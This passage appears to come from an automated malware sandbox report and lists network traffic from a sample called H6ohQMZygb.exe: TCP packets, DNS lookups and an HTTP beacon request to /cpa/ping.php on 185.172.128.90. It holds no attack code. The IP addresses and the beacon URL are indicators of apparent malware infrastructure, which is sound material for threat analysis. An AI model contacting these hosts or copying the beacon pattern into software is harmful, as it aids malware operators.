Apr 23, 2024 09:38:23.759227037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759243011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759247065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759258986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759260893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759280920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759288073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759299040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759300947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759315014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759318113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759331942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759347916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759350061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759363890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759371996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759381056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759396076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759396076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759418011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759442091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759443998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759460926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759476900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759480953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759493113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759511948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759514093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759530067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759532928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759546995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759555101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759571075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759583950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759833097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759850025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759865999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759881973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759895086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759896994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759912968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759924889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759933949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759951115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759962082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759964943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759978056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759989977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760004044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760010004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760015965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760027885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760029078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760037899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760040998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760054111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760066032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760066986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760077000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760088921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760092020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760109901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760118961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760128021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760132074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760179043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760209084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760226011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760248899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760251045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760261059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760268927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760284901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760309935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760309935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760309935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760317087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760325909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760334015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760340929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760360956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760371923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760392904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760677099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760694027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760710955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.760735989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.760746956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.924514055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.125457048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.231817007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.231853008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.231899023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.231935978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.231935978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.232029915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232065916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232117891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.232125998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232158899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232177019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.232197046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232201099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.232212067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232225895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.232256889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.232278109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284480095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284535885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284548044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284589052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284595966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284645081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284653902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284682035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284686089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284718990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284734011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284753084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284790039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284801006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284827948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284862041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284866095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284887075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284900904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284908056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284936905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284941912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.284976006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.284987926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285012960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285044909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285053968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285080910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285113096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285118103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285142899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285154104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285155058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285187006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285222054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285229921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285258055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285295010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285303116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285329103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.285357952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.285375118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337095022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337114096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337179899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337219954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337239027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337255001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337270021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337272882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337285042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337291002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337306976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337313890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337325096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337369919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337416887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337431908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337446928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337462902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337476969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337488890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337491035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337502003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337507010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337513924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337527990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337534904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337560892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337573051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337589025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337636948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337729931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337748051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337763071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337778091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337784052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337795019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337809086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337810993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337827921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337832928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337857962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337882996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.337954998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.337997913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338004112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338103056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338119030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338138103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338143110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338154078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338155031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338174105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338185072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338192940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338202953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338210106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338212013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338227034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:24.338229895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:24.338238001 CEST	49733	80	192.168.2.4	185.172.128.76

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 09:38:01.969671965 CEST	192.168.2.4	1.1.1.1	0x8d98	Standard query (0)	note.padd.cn.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:38:15.950856924 CEST	192.168.2.4	1.1.1.1	0xc398	Standard query (0)	svc.iolo.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:38:42.346046925 CEST	192.168.2.4	1.1.1.1	0x7955	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:39:57.905030966 CEST	192.168.2.4	1.1.1.1	0x3352	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:40:10.354744911 CEST	192.168.2.4	1.1.1.1	0xccf0	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:40:26.105361938 CEST	192.168.2.4	1.1.1.1	0xd815	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:40:41.633485079 CEST	192.168.2.4	1.1.1.1	0x5d5	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:40:51.256509066 CEST	192.168.2.4	1.1.1.1	0xe3a7	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:41:05.433207035 CEST	192.168.2.4	1.1.1.1	0x23ab	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:41:27.995574951 CEST	192.168.2.4	1.1.1.1	0x44f4	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:41:48.618530035 CEST	192.168.2.4	1.1.1.1	0xc0f7	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:42:00.073405981 CEST	192.168.2.4	1.1.1.1	0xa7ea	Standard query (0)	westus2-2.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 09:38:02.619965076 CEST	1.1.1.1	192.168.2.4	0x8d98	No error (0)	note.padd.cn.com		176.97.76.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:38:16.056504011 CEST	1.1.1.1	192.168.2.4	0xc398	No error (0)	svc.iolo.com		20.157.87.45	A (IP address)	IN (0x0001)	false
Apr 23, 2024 09:38:42.451658010 CEST	1.1.1.1	192.168.2.4	0x7955	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:38:42.451658010 CEST	1.1.1.1	192.168.2.4	0x7955	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:38:42.451658010 CEST	1.1.1.1	192.168.2.4	0x7955	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:39:58.047425985 CEST	1.1.1.1	192.168.2.4	0x3352	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:39:58.047425985 CEST	1.1.1.1	192.168.2.4	0x3352	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:39:58.047425985 CEST	1.1.1.1	192.168.2.4	0x3352	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:10.496126890 CEST	1.1.1.1	192.168.2.4	0xccf0	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:10.496126890 CEST	1.1.1.1	192.168.2.4	0xccf0	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:10.496126890 CEST	1.1.1.1	192.168.2.4	0xccf0	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:26.335912943 CEST	1.1.1.1	192.168.2.4	0xd815	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:26.335912943 CEST	1.1.1.1	192.168.2.4	0xd815	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:26.335912943 CEST	1.1.1.1	192.168.2.4	0xd815	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:41.739192963 CEST	1.1.1.1	192.168.2.4	0x5d5	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:41.739192963 CEST	1.1.1.1	192.168.2.4	0x5d5	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:41.739192963 CEST	1.1.1.1	192.168.2.4	0x5d5	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:51.362464905 CEST	1.1.1.1	192.168.2.4	0xe3a7	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:51.362464905 CEST	1.1.1.1	192.168.2.4	0xe3a7	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:40:51.362464905 CEST	1.1.1.1	192.168.2.4	0xe3a7	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:05.538794994 CEST	1.1.1.1	192.168.2.4	0x23ab	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:05.538794994 CEST	1.1.1.1	192.168.2.4	0x23ab	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:05.538794994 CEST	1.1.1.1	192.168.2.4	0x23ab	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:28.149626017 CEST	1.1.1.1	192.168.2.4	0x44f4	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:28.149626017 CEST	1.1.1.1	192.168.2.4	0x44f4	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:28.149626017 CEST	1.1.1.1	192.168.2.4	0x44f4	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:48.724618912 CEST	1.1.1.1	192.168.2.4	0xc0f7	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:48.724618912 CEST	1.1.1.1	192.168.2.4	0xc0f7	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:41:48.724618912 CEST	1.1.1.1	192.168.2.4	0xc0f7	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:42:00.293601036 CEST	1.1.1.1	192.168.2.4	0xa7ea	No error (0)	westus2-2.in.applicationinsights.azure.com	westus2-2.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:42:00.293601036 CEST	1.1.1.1	192.168.2.4	0xa7ea	No error (0)	westus2-2.in.ai.monitor.azure.com	westus2-2.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 09:42:00.293601036 CEST	1.1.1.1	192.168.2.4	0xa7ea	No error (0)	westus2-2.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.172.128.90	80	6984	C:\Users\user\Desktop\H6ohQMZygb.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:37:58.060875893 CEST	205	OUT	GET /cpa/ping.php?substr=five&s=ab&sub=0 HTTP/1.1 Host: 185.172.128.90 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 23, 2024 09:37:59.542831898 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 07:37:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.172.128.228	80	6984	C:\Users\user\Desktop\H6ohQMZygb.exe

Timestamp	Bytes transferred	Direction	Data
